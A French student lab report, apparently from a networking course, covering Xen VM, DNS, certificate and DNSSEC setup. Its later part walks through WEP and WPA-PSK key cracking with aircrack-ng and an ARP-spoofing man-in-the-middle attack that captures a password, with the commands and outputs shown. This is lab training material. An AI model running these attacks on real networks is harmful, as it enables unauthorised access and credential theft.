     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage. &lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2     //0 sauvegarde et 2 place&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid       //Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande db &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space      1&lt;br /&gt;
    ns6.gandi.net       2&lt;br /&gt;
Pour le prise en compte ces modifications, on attend de 12 à 24h. &lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent. &lt;br /&gt;
&lt;br /&gt;
Je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt et l'envoie d'autre PC&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
  root@zabeth09:~# scp dico.txt zabethxx&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. &lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
